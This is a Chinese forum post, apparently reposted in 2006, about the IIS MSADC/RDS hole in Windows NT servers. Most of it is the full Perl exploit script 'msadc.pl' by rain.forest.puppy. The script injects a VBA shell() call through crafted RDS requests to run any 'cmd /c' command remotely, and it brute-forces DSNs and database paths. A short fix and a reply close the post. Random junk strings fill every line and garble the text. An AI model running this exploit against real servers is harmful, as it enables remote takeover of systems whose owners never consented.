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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) iXDQ2&gE*  
@7 *Ag~MRb  
涉及程序: B.J4}Ua  
Microsoft NT server 6">jf #pE  
'zhw]L;'g  
描述: $W;IW$  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 id.W"5+  
J8yi#A>+  
详细: Wy%F   
如果你没有时间读详细内容的话,就删除: D?_#6i;DJ  
c:\Program Files\Common Files\System\Msadc\msadcs.dll g$ *V A} s  
有关的安全问题就没有了。 zorTZ #5  
/< CjBW:  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 q>q@ztt  
xbA% 'p  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 o s HE4x  
关于利用ODBC远程漏洞的描述,请参看: {G%!M+n<  
')w*c  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Y">;2Pt;  
8}W06k>)%  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 :1wMGk  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp S:"t]gbF =  
%.R_[.W  
这里不再论述。 UI:{*N**Z  
eMvb*X6  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Z qg(\  
{q:o}<-L+  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset _k@{> ?(a  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Q(KLx)  
0fPqO2  
%?EOD=e =  
#将下面这段保存为txt文件,然后: "perl -x 文件名" *<!W k\  
=`X@+~%-  
#!perl G K @]61b  
# f.=4p^  
# MSADC/RDS 'usage' (aka exploit) script pstQithS  
# SJ-g2aAT  
# by rain.forest.puppy hoihdVjv  
# 97Qng*i  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Sn/~R|3XA7  
# beta test and find errors! GJItGq`)  
(r.{v@h,dV  
use Socket; use Getopt::Std; v;;X2 a1k  
getopts("e:vd:h:XR", \%args); puv*p %E  
^F~e?^s  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; [,a O*7 N  
wDZFOx0#8  
if (!defined $args{h} && !defined $args{R}) { DwZt.*  
print qq~ ys;e2xekg  
Usage: msadc.pl -h <host> { -d <delay> -X -v } @"HR"@pX  
-h <host> = host you want to scan (ip or domain) @:xO5L}Io  
-d <seconds> = delay between calls, default 1 second D.<CkD B  
-X = dump Index Server path table, if available &hba{!`y  
-v = verbose WL}6YSC  
-e = external dictionary file for step 5 =D4EPfQn1  
LZG^\c$  
Or a -R will resume a command session v-) eT  
/)de`k"  
~; exit;} Em@h5V  
*<U&DOYV:  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; IO xj$?%l  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 2ezuP F  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} WytCc>oL  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); n a2"Sy=Yi  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} !r.}y|t?;  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } VJCh5t*  
4 _N)1u !  
if (!defined $args{R}){ $ret = &has_msadc; J5Fg]O*  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} :Rt5=0x   
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print "Please type the NT commandline you want to run (cmd /c assumed):\n" 9$Mi/eLG2N  
. "cmd /c "; vo`wYJ3W  
$in=<STDIN>; chomp $in; ,0&lag  
$command="cmd /c " . $in ; YC=BP5^  
{u.V8%8  
if (defined $args{R}) {&load; exit;} NTL#!  
@LL&ggV?  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ;6b#I$-J-  
&try_btcustmr; sjTsaM;<  
v[a#>!;s  
print "\nStep 2: Trying to make our own DSN..."; +zs6$OI]V  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; DhZtiqL#_  
pXFNK" jm  
print "\nStep 3: Trying known DSNs..."; ri JyH;)  
&known_dsn; M+hc,;6  
)i_FU~ LRq  
print "\nStep 4: Trying known .mdbs..."; 9x?;;qC"m9  
&known_mdb; (uG4W|?p  
Ab2g),;c  
if (defined $args{e}){ BXfaqYb;Q  
print "\nStep 5: Trying dictionary of DSN names..."; R ^B2J+O  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } P/I{q s  
.@6]_h;  
print "Sorry Charley...maybe next time?\n"; ooZ-T>$  
exit; _yWH\5@  
/2@%:b)  
############################################################################## jujx3rnK?  
tt^ze|*&t  
sub sendraw { # ripped and modded from whisker tJwF h6  
sleep($delay); # it's a DoS on the server! At least on mine... GVl u4  
my ($pstr)=@_; 4*+EUJ|  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || HQ s)T  
die("Socket problems\n"); H~ZSw7!M8  
if(connect(S,pack "SnA4x8",2,80,$target)){ jYy0^)6X(  
select(S); $|=1; sN C?o[9l!  
print $pstr; my @in=<S>; W1@;94Sb~  
select(STDOUT); close(S); H*\[:tPa  
return @in; ,#E5/'c`  
} else { die("Can't connect...\n"); }} okcl-q  
@qC:% |>  
############################################################################## Oq2H>eW`f  
(t]>=p%4g  
sub make_header { # make the HTTP request lXPn]iLJ  
my $msadc=<<EOT ? w?k-v  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 JG<3,>@%  
User-Agent: ACTIVEDATA g \-3c=X  
Host: $ip +z D'r5  
Content-Length: $clen ;Bb5KD  
Connection: Keep-Alive \Zv =?\  
3E ZwF  
ADCClientVersion:01.06 vf yv a  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Dgm%Ng  
K%}I}8M  
--!ADM!ROX!YOUR!WORLD! 68c;Vb  
Content-Type: application/x-varg Cv~hU%1T  
Content-Length: $reqlen `_'Dj>  
7:L~n(QpP  
EOT %^l&fM*  
; $msadc=~s/\n/\r\n/g; f`,Hr?H  
return $msadc;} N 9&@,3  
4LjSDgA  
############################################################################## jp^WsHI3  
nTU~M~gky  
sub make_req { # make the RDS request v,+l xY  
my ($switch, $p1, $p2)=@_; )M N yOj  
my $req=""; my $t1, $t2, $query, $dsn; 'c[LTpn4=  
`Y\/US70{c  
if ($switch==1){ # this is the btcustmr.mdb query ptv 4v[gQ  
$query="Select * from Customers where City=" . make_shell(); sYA-FO3gh  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . s~$4bN>LD  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} #@6L|$iX  
=+h!JgY/L  
elsif ($switch==2){ # this is general make table query $l;tP  
$query="create table AZZ (B int, C varchar(10))"; CDYx/yO  
$dsn="$p1";} tN3 {7'\7  
>v_5xd9  
elsif ($switch==3){ # this is general exploit table query m90R8  V  
$query="select * from AZZ where C=" . make_shell(); PBs<8xBx^  
$dsn="$p1";} K2rS[Kdfaq  
~}0hN]*G  
elsif ($switch==4){ # attempt to hork file info from index server z#J/*712  
$query="select path from scope()"; #KNq:@wp6  
$dsn="Provider=MSIDXS;";} {qWG^Db  
[9U srpYi  
elsif ($switch==5){ # bad query a^T4\  
$query="select"; T7,Gf({  
$dsn="$p1";} Zc3:9   
N"x\YHp  
$t1= make_unicode($query); +Q!xEfpO;  
$t2= make_unicode($dsn); Fl+tbF  
$req = "\x02\x00\x03\x00"; HA.NZkq.tV  
$req.= "\x08\x00" . pack ("S1", length($t1)); Rf(x^J{  
$req.= "\x00\x00" . $t1 ; ua|Z`qUyq  
$req.= "\x08\x00" . pack ("S1", length($t2)); h NOYFH  
$req.= "\x00\x00" . $t2 ; 8cBW] \ v  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; CAFE} |  
return $req;} ;Jbc'V'fm  
)Kk(P/s  
############################################################################## 9 QCpXy  
&8_f'+i0  
sub make_shell { # this makes the shell() statement : 9?Cm`  
return "'|shell(\"$command\")|'";} +z jzO]8  
a,57`Ks+n<  
############################################################################## !Ir1qt8 T  
`/wq3+?  
sub make_unicode { # quick little function to convert to unicode t1:S!@  
my ($in)=@_; my $out; @maZlw1q  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ngkeJ)M0$  
return $out;}  lGnql1(  
`^&15?Wk  
############################################################################## F'UguC">  
zA'gb'MmW  
sub rdo_success { # checks for RDO return success (this is kludge) H7tQ#  
my (@in) = @_; my $base=content_start(@in); cJHABdK-  
if($in[$base]=~/multipart\/mixed/){ 43u PH1 )  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} *t?~)o7  
return 0;} FU (}=5n  
A"BtVy[[9  
############################################################################## zh{@? k  
EBIa%,  
sub make_dsn { # this makes a DSN for us Vyq#p9Q  
my @drives=("c","d","e","f"); |?2 hml  
print "\nMaking DSN: "; ER;lkF`RF  
foreach $drive (@drives) { [DotS\p!z  
print "$drive: "; s#+"5&!s  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . u8<&F`7j  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" clq~ ;hx  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); rF8W(E_=  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; /jZaU`  
return 0 if $2 eq "404"; # not found/doesn't exist 2|0Qk&  
if($2 eq "200") { <m Ju v  
foreach $line (@results) { ?ae[dif  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} -TK|Y"  
} return 0;} >/!7i3Ow-  
;T5,T   
############################################################################## &J lpA<^s;  
;gxN@%}@  
sub verify_exists { nJtEUVMt  
my ($page)=@_; .g/ARwM}  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ,>bGbx  
return $results[0];} ba(arGZ+{  
Sc;iAi (  
############################################################################## h*;g0QBkl  
i ll-%OPeg  
sub try_btcustmr { toS(UM n  
my @drives=("c","d","e","f"); Cec9#C  
my @dirs=("winnt","winnt35","winnt351","win","windows"); QHHW(InG<  
5u2{n rc  
foreach $dir (@dirs) { B`?N,N"  
print "$dir -> "; # fun status so you can see progress g,t3OnxS?  
foreach $drive (@drives) { !Y ;H(.A/  
print "$drive: "; # ditto ]}mly` Fw  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; _u:>1]  
$reqlenlen=length( "$reqlen" ); (v|r'B9 b  
$clen= 206 + $reqlenlen + $reqlen; 'i@,~[Z4  
"C_T]%'Wm  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); .ocx(_3G  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ! (2-(LgA  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} NoFs-GGGh  
,sO:$  
############################################################################## :7 qqjs  
XXa(305  
sub odbc_error { [leW/2i  
my (@in)=@_; my $base; j y7  
my $base = content_start(@in); DRH'A!r!  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 8|1`Tn}o  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Z} c'Bm(  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; M (+.$uz  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;  Sa%zre@  
return $in[$base+4].$in[$base+5].$in[$base+6];} k/df(cs  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; {F'Az1^I=  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . M,crz  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} \.c]kG>k-  
VBu8}}Ql  
############################################################################## cvKV95bn  
o[o:A|n  
sub verbose { HV ;;  
my ($in)=@_; u FMIY(vB  
return if !$verbose; Yx6hA#7I  
print STDOUT "\n$in\n";}  OQ6sv/  
A^pu  
############################################################################## _)Qy4[S=d  
{]=v]O |,  
sub save { wuKl-:S;Vs  
my ($p1, $p2, $p3, $p4)=@_; Am=wEu[b  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; j8pFgnQ  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; vK(I3db !  
close OUT;} NjbwGcH%\  
p"KU7-BfvC  
############################################################################## UV4u.7y  
]pWP?Ws  
sub load { _().t5<  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; ~wTX >qV  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); Sr&T[ex,.  
@p=<IN>; close(IN); 6)ycmu;!$  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Q!K`e)R  
$target= inet_aton($ip) || die("inet_aton problems"); 6^sHgYR  
print "Resuming to $ip ..."; z5 Bi=~=#  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ob'n{T+lZ  
if($p[1]==1) { 4YLs^1'TG0  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ;-Ss# &  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; }kE87x'  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); %w7m\nw@  
if (rdo_success(@results)){print "Success!\n";} =E y`M#t;  
else { print "failed\n"; verbose(odbc_error(@results));}} ~s#e,Kav"  
elsif ($p[1]==3){ &3Tx@XhO  
if(run_query("$p[3]")){ 5[4Z=RP  
print "Success!\n";} else { print "failed\n"; }} o'Pu'y  
elsif ($p[1]==4){ Jf)3< ~G  
if(run_query($drvst . "$p[3]")){ H0a -(  
print "Success!\n"; } else { print "failed\n"; }} 4 \p -TPM  
exit;} 2J<&rKCF  
}E;F)=E  
############################################################################## nLy#|C  
Kd3QqVJBz1  
sub create_table { Q2/.6O8  
my ($in)=@_; ;LRW 8Wd  
$reqlen=length( make_req(2,$in,"") ) - 28; xhw-2dl*H  
$reqlenlen=length( "$reqlen" ); `tE^jqrke5  
$clen= 206 + $reqlenlen + $reqlen; >|3a 9S  
my @results=sendraw(make_header() . make_req(2,$in,"")); z<pJYpxH  
return 1 if rdo_success(@results); k=/eM$":  
my $temp= odbc_error(@results); verbose($temp); @T&t.|`  
return 1 if $temp=~/Table 'AZZ' already exists/; "+|L_iuNQ  
return 0;} h1+ hds+  
+;q.Y?  
############################################################################## @(:v_l  
)NT5yF,m  
sub known_dsn { J!h^egP  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go #SkX@sl@  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 9`"DFFSMS  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", }rbZ&IN\?E  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); NQ9Ojj{#  
YQgNv` l}  
foreach $dSn (@dsns) { -2i\G.,J  
print "."; ;/LD)$_  
next if (!is_access("DSN=$dSn")); a<m-V&4x  
if(create_table("DSN=$dSn")){ lIf(6nm@  
print "$dSn successful\n"; 7*s8 ttX  
if(run_query("DSN=$dSn")){ 7=P^_LcU  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { &ZJgQ-Pc(m  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 8o-bd_  
:b/jNHJU  
############################################################################## NY.k.  
#S5`Pd!I  
sub is_access { Qw)9r{f  
my ($in)=@_; 8#LJ*o  
$reqlen=length( make_req(5,$in,"") ) - 28; PRs@zkO  
$reqlenlen=length( "$reqlen" ); kzO&24  
$clen= 206 + $reqlenlen + $reqlen; *'ZN:5%H  
my @results=sendraw(make_header() . make_req(5,$in,"")); V"RpH,  
my $temp= odbc_error(@results); ijUzC>O+q  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); \u{8Bak0  
return 0;} 3HiFISA*  
Z=+03  
############################################################################## Cg!^S(U4  
u oVNK  
sub run_query { %_gho  
my ($in)=@_; lCb+{OB  
$reqlen=length( make_req(3,$in,"") ) - 28; rwqv V ^  
$reqlenlen=length( "$reqlen" ); 9dKul,c  
$clen= 206 + $reqlenlen + $reqlen; uS5o?fg\e  
my @results=sendraw(make_header() . make_req(3,$in,"")); I cF@F>>  
return 1 if rdo_success(@results); v[S-Pi1  
my $temp= odbc_error(@results); verbose($temp); 0 bSA_  
return 0;} ~OFvu}]  
hW 2.8f$  
############################################################################## ?S#\K^  
9 $l>\.6  
sub known_mdb { jqcz\n d  
my @drives=("c","d","e","f","g"); CjL<RJR=  
my @dirs=("winnt","winnt35","winnt351","win","windows"); $3P`DJo  
my $dir, $drive, $mdb; J|QiH<  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ZX.TqvK/r  
RR|\- 8;  
# this is sparse, because I don't know of many .y4&rF$n  
my @sysmdbs=( "\\catroot\\icatalog.mdb", =Hu0v}i/  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", Z<z;L<tJ 9  
"\\system32\\certmdb.mdb", y] V1b{9p  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ;;&F1@3tBa  
FJS'G^  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", w2"]Pl  
"\\cfusion\\cfapps\\forums\\forums_.mdb", m J  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", zV.pol  
"\\cfusion\\cfapps\\security\\realm_.mdb", 1]OSWCEm*[  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", lrEj/"M  
"\\cfusion\\database\\cfexamples.mdb", @h?crJ6$  
"\\cfusion\\database\\cfsnippets.mdb", 'jaoO9KY K  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ^Udv]Wh  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", B5=($?5^6%  
"\\cfusion\\brighttiger\\database\\cleam.mdb", Tj/GClD:%  
"\\cfusion\\database\\smpolicy.mdb", |!*Xl) ]  
"\\cfusion\\database\cypress.mdb", mh` |=M]8E  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", hU {-a`  
"\\website\\cgi-win\\dbsample.mdb", 9'KonW  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", d>i13d AI  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" *i%quMv  
); #these are just 5vOCCW  
foreach $drive (@drives) { u?0d[mC  
foreach $dir (@dirs){ "^rNr_  
foreach $mdb (@sysmdbs) { 2C "=!'  
print "."; \U@3`  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ P%>?[9!Nt  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; O!F]^'!  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ zK5bO= 0j  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; tk?UX7F  
} else { print "Something's borked. Use verbose next time\n"; }}}}} .ER98  
D<):ZfUbI  
foreach $drive (@drives) { :L$4*8@`+  
foreach $mdb (@mdbs) { 7TWNB{ K_  
print "."; bXdY\&fE  
if(create_table($drv . $drive . $dir . $mdb)){ uofLhy!  
print "\n" . $drive . $dir . $mdb . " successful\n"; yYTVXs`fVj  
if(run_query($drv . $drive . $dir . $mdb)){ a(x?fa[D  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; %$mjJw<|&  
} else { print "Something's borked. Use verbose next time\n"; }}}} ?pwE0N^  
} 7_)|I? =0d  
bLS&H[f K  
############################################################################## kX;$}7n  
Es8#]'Rk  
sub hork_idx { bBE+jqi 2  
print "\nAttempting to dump Index Server tables...\n"; {B{i(6C(  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; &8?`<   
$reqlen=length( make_req(4,"","") ) - 28; h)dRR_  
$reqlenlen=length( "$reqlen" ); |B[eJq  
$clen= 206 + $reqlenlen + $reqlen; ZK dh%8C  
my @results=sendraw2(make_header() . make_req(4,"","")); O%JSViPw  
if (rdo_success(@results)){ ]Yz'8uts  
my $max=@results; my $c; my %d; Ci\? ^  
for($c=19; $c<$max; $c++){ \< 65??P  
$results[$c]=~s/\x00//g; MCy~@)-IN  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ! D1zXXq  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Gp|JU Fo  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; .6T4z7I  
$d{"$1$2"}="";} GU6 qIz|  
foreach $c (keys %d){ print "$c\n"; } X47!E |*  
} else {print "Index server doesn't seem to be installed.\n"; }} Fd8hGj1  
dY'Y5Th~  
############################################################################## >oY^Gx  
^k72{ 3N(  
sub dsn_dict { 14l; *  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); B,y3] g6u  
while(<IN>){ !0jq6[&  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; <\D Uo0]J  
next if (!is_access("DSN=$dSn")); z,+m[x=/N  
if(create_table("DSN=$dSn")){ rPTfpeqN)  
print "$dSn successful\n"; h48 bb.p2  
if(run_query("DSN=$dSn")){ - L`7+  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { JQT4N[rEE  
print "Something's borked. Use verbose next time\n";}}} t2.juoI(  
print "\n"; close(IN);} aBlbg3q  
 -$R5  
############################################################################## e "_"vbk  
9::YR;NY  
sub sendraw2 { # ripped and modded from whisker hht+bpHl  
sleep($delay); # it's a DoS on the server! At least on mine... <2)v9c  
my ($pstr)=@_; i tW~d  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 8b~7~VCk  
die("Socket problems\n"); Y_lCcu#OA  
if(connect(S,pack "SnA4x8",2,80,$target)){ q]l\`/R%u  
print "Connected. Getting data"; _z%\'(l+  
open(OUT,">raw.out"); my @in; h7RD `k:mF  
select(S); $|=1; print $pstr; Sy B-iQn  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} u]#8 $M2  
close(OUT); select(STDOUT); close(S); return @in; VY{,x;O`  
} else { die("Can't connect...\n"); }}  p1?J  
2dyxKK!\a  
############################################################################## U\;Ml  
J{x##p<F$  
sub content_start { # this will take in the server headers TP^\e_k  
my (@in)=@_; my $c; +}Auk|>Dc  
for ($c=1;$c<500;$c++) { 4SBLu%=s%  
if($in[$c] =~/^\x0d\x0a/){ 98ayA$  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } t5A[o7BS  
else { return $c+1; }}} C7T;;1P?  
return -1;} # it should never get here actually ls]Elo8h1f  
Qvs(Rt3?y  
############################################################################## "$4hv6 s  
GMyoSe%1/  
sub funky { m(h/:JZ\  
my (@in)=@_; my $error=odbc_error(@in); @]<DR*<  
if($error=~/ADO could not find the specified provider/){ R+x%r&L5F  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; [)bz6\d[  
exit;} W>VAbm  
if($error=~/A Handler is required/){ Mj,2\ijNM  
print "\nServer has custom handler filters (they most likely are patched)\n"; 5auL<Pq   
exit;}  S/)  
if($error=~/specified Handler has denied Access/){ IcO9V<Q|  
print "\nServer has custom handler filters (they most likely are patched)\n"; ` 3vN R"  
exit;}} hE9'F(87a  
Zu)i+GeG  
############################################################################## ~ rQ4n9G  
U_.n=d~B  
sub has_msadc { U3(L.8(sA  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); )sMAhk|  
my $base=content_start(@results); OME!W w  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); t=AE7  
return 0;} 5mDVFb 3a  
R4[. n@  
######################## mw2rSUI{  
g%Th_=qy  
Cj`pw2.  
解决方案: G}Q}H*  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll O1l4gduN|i  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 FE^?U%:u@  
[rD+8,zVm  
拿出来充数 哈哈
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